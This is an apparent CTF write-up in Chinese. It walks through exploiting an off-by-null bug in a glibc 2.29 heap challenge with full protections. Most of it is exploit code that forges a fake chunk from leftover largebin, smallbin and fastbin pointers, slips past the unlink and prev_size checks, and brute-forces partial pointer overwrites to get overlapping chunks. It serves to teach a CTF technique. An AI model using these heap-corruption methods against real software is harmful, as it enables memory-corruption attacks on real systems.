前几天看了这个题目的wp,但是今天自己复现的时候感觉还是很复杂,做了很久,一直会有地方错误。
详细说说这道题
先看源程序:

不点进去看了,很正常的一道菜单题,唯一的漏洞就是add处的一个off-by-null。
checksec一下

保护全开,buf叠满。
这道题我们需要绕过的保护有两个,一个是libc-2.29新加的向前合并的检查:
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
另一个是触发unlink时的保护
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
所以,和libc-2.23,libc-2.27的区别就在这,两个chunk之间一定是有其他堆块的,所以用老libc的方法是通不过检查的。
我们称需要进行合并的两个chunk称为frontchunk和tailchunk
首先想着要绕过检查第一步是需要想怎么才能设计size(chunk)=prevsize(tailchunk)呢,我们需要控制tailchunk的prevsize,这个好做,但是frontchunk只能用伪造size位来做,也就是伪造chunk块。
第二步是需要将frontchunk的双链表伪造好,但是程序开了pie,不可能直接输入来做到,按照wp的想法是用largebin和smallbin,fastbin的残留指针来构造双链表,我也是按这种方法来做的,但是我想了想,直接用show函数泄露堆基地址,然后根据需要加上偏移得到各个堆块的地址,然后伪造两个堆块帮其进行绕过unlink好像也能够实现。我们还是按wp的做法来。
第三步就可以改变tailchunk的prev然后将其free,就可以造成frontchunk和tailchunk之间chunk的overlapping。
思路是这样,但是实际操作和调试很复杂。

init沙盒之后会出现很多堆块,我们第一步需要做的就是清理他们

#clean
for i in range(16):#0-15
create(0x18,'clean')
for i in range(16):#16-31
create(0x68,'clean')
for i in range(9):#32-40
create(0x78,'clean')
for i in range(5):#41-45
create(0xc8,'clean')
for i in range(2):#46-47
create(0xe8,'clean')
接下来我们需要想的是伪造带有fd和bk指针的堆块,这个时候就需要想到largebin了,其fd_nextsize和bk_nextsize指向自己指针是我们需要的,就是可以覆盖的指针,但是覆盖的话,由于页机制,我们覆盖的只能是最后一个字节,才能避开pie的影响,所以构造双链表的另外两个chunk的地址的倒数第三位和frontchunk的必须相同,所以我们需要将此时topchunk的后三位设置为0,防止进位,下面我们就调整topchunk。
create(0xd30,'a')
而倒数第四位则需要爆破了,我们改指针的时候因为存在off-by-null所以倒数第四位必须要为0,指针指向才正确,这个是我们无法控制的,所以到时候执行exp的时候需要多执行几次,通过爆破实现。

这是我从其他博客上上找到的largebin的链表图,当没有其他chunk给fd_nextsize和bk_nextsize指时,他们会指向自己。而fd和bk则会指向main_arena+?
#large bin
create(0x1500,'a')#49
for i in range(7):#50-56
create(0x10,'a')
for i in range(7):
delete(50+i)
delete(49)
gdb.attach(p)
pause()
create(0x2000,'a')#49
这是得到largebin的操作,create(0x1500,'a')#49这个要足够大,我们将在这里面构造frontchunk和tailchunk。
create(0x2000,'a')#49这个要比上面的大,在这里踩了很久的坑。
下面是得到largebin的情况

这个就是我们构造fakechunk的地方,也就是第二行和第三行。然后我们也需要知道,第三行只有前面的指针可以改,因为如果要改第二个指针,我们会把第一个指针覆盖掉,所以bk只能为如上指针,即双链表有一端已经确定了,现在看另一端。另一端是fd,那么fd->bk需要为此伪造chunk的地址。有bk的有smallbin chunk和largebin chunk,我们选择smallbinchunk来构造。
我们先把我们要伪造chunk的堆块malloc回来,fd和size是之后填写的
prev_size = 0
size = 0x6c1
fd = 0x70
#gdb.attach(p)
#pause()
create(0x28,p64(prev_size)+p64(size)+p8(fd))#50
然后
#small bin
for i in range(7):#51-57
create(0x10,'a')
create(0x18,'a')#58
create(0x18,'a')#59
create(0x18,'a')#60
create(0x18,'a')#61
for i in range(7):
delete(51+i)
delete(58)
delete(60)
gdb.attach(p)
pause()
create(0x410,'a')#51

得到如上情况,这个时候我们需要的就是smallbins中的第二个堆块,也就是下一次malloc出的堆块

所以我们之前fd = 0x70是这样来的。
for i in range(7):#52-58
create(0x10,'a')
payload = p64(0)+p8(0x10)
create(0x18,payload)#60
将其malloc回来,p->fd->bk=p就构造好了。
for i in range(8):# 62-69
create(0x20,'a')
for i in range(8):
delete(i+62)
delete(50)
这一块是构造p->bk->fd=p,就是用fastbinchunk的残留指针构造的。

将fakechunk指定的bk free掉,将其放入fastbin中再malloc回来,这里要注意free的顺序,因为malloc这里面中的一个,另一个会放入tcachebins中。
or i in range(7):# 50,62-67
create(0x28,'a')
gdb.attach(p)
pause()
create(0x28,p8(0x10))#68
将其malloc回来,并构造好。
create(0x38,'overlapping')#69
create(0x38,'a')#70
create(0x4f8,'a')#71
delete(70)
prev_size = 0x6c0
create(0x38,p64(0)*6+p64(prev_size))
gdb.attach(p)
pause()
delete(71)
接下来就是off-by-null了,70是用来off-by-null的,然后71就是victim,69是我们overlapping的chunk。0x4f8的size位为0x500,那么进行off-by-null的时候就不用伪造tailchunk的相邻下一个chunk了。同时也不会放入tcachebin中了。
然后就是算size,填prevsize和size了就不说了,然后得到了overlapping的chunk,之后的攻击就不属于off-by-null的内容了。